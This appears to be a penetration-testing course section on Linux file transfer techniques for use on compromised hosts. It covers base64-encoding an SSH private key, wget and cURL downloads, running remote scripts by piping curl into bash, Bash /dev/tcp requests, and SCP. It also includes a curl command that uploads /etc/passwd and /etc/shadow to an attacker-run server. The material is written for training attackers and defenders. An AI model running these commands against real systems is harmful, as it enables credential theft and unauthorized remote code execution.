Linux File Transfer Methods
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Linux is a versatile operating system, which commonly has many different tools we can use to perform file transfers. Understanding file transfer methods in Linux can help attackers and defenders improve their skills to attack networks and prevent sophisticated attacks.
A few years ago, we were contacted to perform incident response on some web servers. We found multiple threat actors in six out of the nine web servers we investigated. The threat actor found a SQL Injection vulnerability. They used a Bash script that, when executed, attempted to download another piece of malware that connected to the threat actor's command and control server.
The Bash script they used tried three download methods to get the other piece of malware that connected to the command and control server. Its first attempt was to use cURL. If that failed, it attempted to use wget, and if that failed, it used Python. All three methods use HTTP to communicate.
Although Linux can communicate via FTP, SMB like Windows, most malware on all different operating systems uses HTTP and HTTPS for communication.
This section will review multiple ways to transfer files on Linux, including HTTP, Bash, SSH, etc.
Download Operations
We have access to the machine NIX04, and we need to download a file from our Pwnbox machine. Let's see how we can accomplish this using multiple file download methods.
Base64 Encoding / Decoding
Depending on the file size we want to transfer, we can use a method that does not require network communication. If we have access to a terminal, we can encode a file to a base64 string, copy its content into the terminal and perform the reverse operation. Let's see how we can do this with Bash.
Check File MD5 hash
$ md5sum id_rsa
4e301756a07ded0a2dd6953abf015278 id_rsaWe use cat to print the file content, and base64 encode the output using a pipe |. We used the option -w 0 to create only one line and ended up with the command with a semi-colon (;) and echo keyword to start a new line and make it easier to copy.
Encode SSH Key to Base64
$ cat id_rsa |base64 -w 0;echo
LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUFsd0FBQUFkemMyZ3RjbgpOaEFBQUFBd0VBQVFBQUFJRUF6WjE0dzV1NU9laHR5SUJQSkg3Tm9Yai84YXNHRUcxcHpJbmtiN2hIMldRVGpMQWRYZE9kCno3YjJtd0tiSW56VmtTM1BUR3ZseGhDVkRRUmpBYzloQ3k1Q0duWnlLM3U2TjQ3RFhURFY0YUtkcXl0UTFUQXZZUHQwWm8KVWh2bEo5YUgxclgzVHUxM2FRWUNQTVdMc2JOV2tLWFJzSk11dTJONkJoRHVmQThhc0FBQUlRRGJXa3p3MjFwTThBQUFBSApjM05vTFhKellRQUFBSUVBeloxNHc1dTVPZWh0eUlCUEpIN05vWGovOGFzR0VHMXB6SW5rYjdoSDJXUVRqTEFkWGRPZHo3CmIybXdLYkluelZrUzNQVEd2bHhoQ1ZEUVJqQWM5aEN5NUNHblp5SzN1Nk40N0RYVERWNGFLZHF5dFExVEF2WVB0MFpvVWgKdmxKOWFIMXJYM1R1MTNhUVlDUE1XTHNiTldrS1hSc0pNdXUyTjZCaER1ZkE4YXNBQUFBREFRQUJBQUFBZ0NjQ28zRHBVSwpFdCtmWTZjY21JelZhL2NEL1hwTlRsRFZlaktkWVFib0ZPUFc5SjBxaUVoOEpyQWlxeXVlQTNNd1hTWFN3d3BHMkpvOTNPCllVSnNxQXB4NlBxbFF6K3hKNjZEdzl5RWF1RTA5OXpodEtpK0pvMkttVzJzVENkbm92Y3BiK3Q3S2lPcHlwYndFZ0dJWVkKZW9VT2hENVJyY2s5Q3J2TlFBem9BeEFBQUFRUUNGKzBtTXJraklXL09lc3lJRC9JQzJNRGNuNTI0S2NORUZ0NUk5b0ZJMApDcmdYNmNoSlNiVWJsVXFqVEx4NmIyblNmSlVWS3pUMXRCVk1tWEZ4Vit0K0FBQUFRUURzbGZwMnJzVTdtaVMyQnhXWjBNCjY2OEhxblp1SWc3WjVLUnFrK1hqWkdqbHVJMkxjalRKZEd4Z0VBanhuZEJqa0F0MExlOFphbUt5blV2aGU3ekkzL0FBQUEKUVFEZWZPSVFNZnQ0R1NtaERreWJtbG1IQXRkMUdYVitOQTRGNXQ0UExZYzZOYWRIc0JTWDJWN0liaFA1cS9yVm5tVHJRZApaUkVJTW84NzRMUkJrY0FqUlZBQUFBRkhCc1lXbHVkR1Y0ZEVCamVXSmxjbk53WVdObEFRSURCQVVHCi0tLS0tRU5EIE9QRU5TU0ggUFJJVkFURSBLRVktLS0tLQo=-w 0: This specifies that the output should not be wrapped at all. That means the encoded Base64 output will be a continuous string without any line breaks.
We copy this content, paste it onto our Linux target machine, and use base64 with the option `-d' to decode it.
Linux - Decode the File
$ echo -n 'LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUFsd0FBQUFkemMyZ3RjbgpOaEFBQUFBd0VBQVFBQUFJRUF6WjE0dzV1NU9laHR5SUJQSkg3Tm9Yai84YXNHRUcxcHpJbmtiN2hIMldRVGpMQWRYZE9kCno3YjJtd0tiSW56VmtTM1BUR3ZseGhDVkRRUmpBYzloQ3k1Q0duWnlLM3U2TjQ3RFhURFY0YUtkcXl0UTFUQXZZUHQwWm8KVWh2bEo5YUgxclgzVHUxM2FRWUNQTVdMc2JOV2tLWFJzSk11dTJONkJoRHVmQThhc0FBQUlRRGJXa3p3MjFwTThBQUFBSApjM05vTFhKellRQUFBSUVBeloxNHc1dTVPZWh0eUlCUEpIN05vWGovOGFzR0VHMXB6SW5rYjdoSDJXUVRqTEFkWGRPZHo3CmIybXdLYkluelZrUzNQVEd2bHhoQ1ZEUVJqQWM5aEN5NUNHblp5SzN1Nk40N0RYVERWNGFLZHF5dFExVEF2WVB0MFpvVWgKdmxKOWFIMXJYM1R1MTNhUVlDUE1XTHNiTldrS1hSc0pNdXUyTjZCaER1ZkE4YXNBQUFBREFRQUJBQUFBZ0NjQ28zRHBVSwpFdCtmWTZjY21JelZhL2NEL1hwTlRsRFZlaktkWVFib0ZPUFc5SjBxaUVoOEpyQWlxeXVlQTNNd1hTWFN3d3BHMkpvOTNPCllVSnNxQXB4NlBxbFF6K3hKNjZEdzl5RWF1RTA5OXpodEtpK0pvMkttVzJzVENkbm92Y3BiK3Q3S2lPcHlwYndFZ0dJWVkKZW9VT2hENVJyY2s5Q3J2TlFBem9BeEFBQUFRUUNGKzBtTXJraklXL09lc3lJRC9JQzJNRGNuNTI0S2NORUZ0NUk5b0ZJMApDcmdYNmNoSlNiVWJsVXFqVEx4NmIyblNmSlVWS3pUMXRCVk1tWEZ4Vit0K0FBQUFRUURzbGZwMnJzVTdtaVMyQnhXWjBNCjY2OEhxblp1SWc3WjVLUnFrK1hqWkdqbHVJMkxjalRKZEd4Z0VBanhuZEJqa0F0MExlOFphbUt5blV2aGU3ekkzL0FBQUEKUVFEZWZPSVFNZnQ0R1NtaERreWJtbG1IQXRkMUdYVitOQTRGNXQ0UExZYzZOYWRIc0JTWDJWN0liaFA1cS9yVm5tVHJRZApaUkVJTW84NzRMUkJrY0FqUlZBQUFBRkhCc1lXbHVkR1Y0ZEVCamVXSmxjbk53WVdObEFRSURCQVVHCi0tLS0tRU5EIE9QRU5TU0ggUFJJVkFURSBLRVktLS0tLQo=' | base64 -d > id_rsaecho -n, the output will not end with a newline
Finally, we can confirm if the file was transferred successfully using the md5sum command.
Linux - Confirm the MD5 Hashes Match
$ md5sum id_rsa
4e301756a07ded0a2dd6953abf015278 id_rsaYou can also upload files using the reverse operation. From your compromised target cat and base64 encode a file and decode it in your attack box
Web Downloads with Wget and cURL
Two of the most common utilities in Linux distributions to interact with web applications are wget and curl. These tools are installed on many Linux distributions.
To download a file using wget, we need to specify the URL and the option `-O' to set the output filename.
Download a File Using wget
$ wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.shcURL is very similar to wget, but the output filename option is lowercase `-o'.
Download a Directory Using wget
wget -r -np -nH http://10.10.14.4:8080/Linux/Breakdown of options:
-r(or--recursive): Download files and directories recursively.-np(or--no-parent): Don’t follow links to parent directories.-nH(or--no-host-directories): Avoid creating a directory named after the host.--cut-dirs=1: Skip the first directory level in the path when saving files.-R "index.html*": Exclude files namedindex.htmlto avoid downloading unnecessary index files.
Download a File Using cURL
$ curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.shFileless Attacks Using Linux
Because of the way Linux works and how pipes operate, most of the tools we use in Linux can be used to replicate fileless operations, which means that we don't have to download a file to execute it.
Some payloads such as mkfifo write files to disk. Keep in mind that while the execution of the payload may be fileless when you use a pipe, depending on the payload chosen it may create temporary files on the OS.
Let's take the cURL command we used, and instead of downloading LinEnum.sh, let's execute it directly using a pipe.
Fileless Download with cURL
$ curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bashSimilarly, we can download a Python script file from a web server and pipe it into the Python binary. Let's do that, this time using wget.
Fileless Download with wget
$ wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3
Hello World!-qstands for quiet mode, which means no output will be printed to the terminal (silent mode).-O-specifies that the output should be directed to standard output (usually the terminal).
Download with Bash (/dev/tcp)
There may also be situations where none of the well-known file transfer tools are available. As long as Bash version 2.04 or greater is installed (compiled with --enable-net-redirections), the built-in /dev/TCP device file can be used for simple file downloads.
Connect to the Target Webserver
$ exec 3<>/dev/tcp/10.10.10.32/80The
execcommand with3<>is setting up a new file descriptor (3) that will be used to communicate over a TCP connection./dev/tcp/10.10.10.32/80is a feature provided by some Unix shells (like Bash) to access TCP sockets directly as if they were files.
HTTP GET Request
$ echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3-e: This option enables interpretation of backslash escapes. In this case, will be interpreted as a newline character.
"GET /LinEnum.sh HTTP/1.1\n\n": This is the string that echo will print. It forms a basic HTTP GET request:
GETis the HTTP method used to request a resource./LinEnum.shis the path to the resource (in this case, a file namedLinEnum.sh).HTTP/1.1is the HTTP version.\nare two newline characters. In HTTP, two newlines signify the end of the request headers.>&3: This redirects the output ofecho(which generates the HTTP request) to file descriptor3. file descriptor3is typically used when you're scripting and want to send the output of a command directly to another process or a network socket.
Print the Response
$ cat <&3SSH Downloads
SSH (or Secure Shell) is a protocol that allows secure access to remote computers. SSH implementation comes with an SCP utility for remote file transfer that, by default, uses the SSH protocol.
SCP (secure copy) is a command-line utility that allows you to copy files and directories between two hosts securely. We can copy our files from local to remote servers and from remote servers to our local machine.
SCP is very similar to copy or cp, but instead of providing a local path, we need to specify a username, the remote IP address or DNS name, and the user's credentials.
Before we begin downloading files from our target Linux machine to our Pwnbox, let's set up an SSH server in our Pwnbox.
Enabling the SSH Server
$ sudo systemctl enable ssh
Synchronizing state of ssh.service with SysV service script with /lib/systemd/systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install enable ssh
Use of uninitialized value $service in hash element at /usr/sbin/update-rc.d line 26, <DATA> line 45
...SNIP...Starting the SSH Server
$ sudo systemctl start sshChecking for SSH Listening Port
netstat -lnpt
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - Now we can begin transferring files. We need to specify the IP address of our Pwnbox and the username and password.
Linux - Downloading Files Using SCP
$ scp plaintext@192.168.49.128:/root/myroot.txt . You can create a temporary user account for file transfers and avoid using your primary credentials or keys on a remote computer.
Upload Operations
There are also situations such as binary exploitation and packet capture analysis, where we must upload files from our target machine onto our attack host. The methods we used for downloads will also work for uploads. Let's see how we can upload files in various ways.
Web Upload
As mentioned in the Windows File Transfer Methods section, we can use uploadserver, an extended module of the Python HTTP.Server module, which includes a file upload page. For this Linux example, let's see how we can configure the uploadserver module to use HTTPS for secure communication.
The first thing we need to do is to install the uploadserver module.
Attackbox - Start Web Server
$ sudo python3 -m pip install --user uploadserver
Collecting uploadserver
Using cached uploadserver-2.0.1-py3-none-any.whl (6.9 kB)
Installing collected packages: uploadserver
Successfully installed uploadserver-2.0.1Now we need to create a certificate. In this example, we are using a self-signed certificate.
Attackbox - Create a Self-Signed Certificate
$ openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
Generating a RSA private key
................................................................................+++++
.......+++++
writing new private key to 'server.pem'
-----The webserver should not host the certificate. We recommend creating a new directory to host the file for our webserver.
Attackbox - Start Web Server
$ mkdir https && cd https$ sudo python3 -m uploadserver 443 --server-certificate ~/server.pem
File upload available at /upload
Serving HTTPS on 0.0.0.0 port 443 (https://0.0.0.0:443/) ...Now from our compromised machine, let's upload the /etc/passwd and /etc/shadow files.
Linux - Upload Multiple Files
$ curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecureWe used the option --insecure because we used a self-signed certificate that we trust.
Alternative Web File Transfer Method
Since Linux distributions usually have Python or php installed, starting a web server to transfer files is straightforward. Also, if the server we compromised is a web server, we can move the files we want to transfer to the web server directory and access them from the web page, which means that we are downloading the file from our Pwnbox.
It is possible to stand up a web server using various languages. A compromised Linux machine may not have a web server installed. In such cases, we can use a mini web server. What they perhaps lack in security, they make up for flexibility, as the webroot location and listening ports can quickly be changed.
Linux - Creating a Web Server with Python3
$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...Linux - Creating a Web Server with Python2.7
$ python2.7 -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...Linux - Creating a Web Server with PHP
$ php -S 0.0.0.0:8000
[Fri May 20 08:16:47 2022] PHP 7.4.28 Development Server (http://0.0.0.0:8000) startedLinux - Creating a Web Server with Ruby
$ ruby -run -ehttpd . -p8000
[2022-05-23 09:35:46] INFO WEBrick 1.6.1
[2022-05-23 09:35:46] INFO ruby 2.7.4 (2021-07-07) [x86_64-linux-gnu]
[2022-05-23 09:35:46] INFO WEBrick::HTTPServer#start: pid=1705 port=8000Download the File from the Target Machine onto the Pwnbox
$ wget 192.168.49.128:8000/filetotransfer.txt
--2022-05-20 08:13:05-- http://192.168.49.128:8000/filetotransfer.txt
Connecting to 192.168.49.128:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 0 [text/plain]
Saving to: 'filetotransfer.txt'
filetotransfer.txt [ <=> ] 0 --.-KB/s in 0s
2022-05-20 08:13:05 (0.00 B/s) - ‘filetotransfer.txt’ saved [0/0]When we start a new web server using Python or PHP, it's important to consider that inbound traffic may be blocked. We are transferring a file from our target onto our attack host, but we are not uploading the file.
SCP Upload
We may find some companies that allow the SSH protocol (TCP/22) for outbound connections, and if that's the case, we can use an SSH server with the scp utility to upload files. Let's attempt to upload a file to the target machine using the SSH protocol.
File Upload using SCP
$ scp /etc/passwd htb-student@10.129.86.90:/home/htb-student/
htb-student@10.129.86.90's password:
passwd
Remember that scp syntax is similar to cp or copy.
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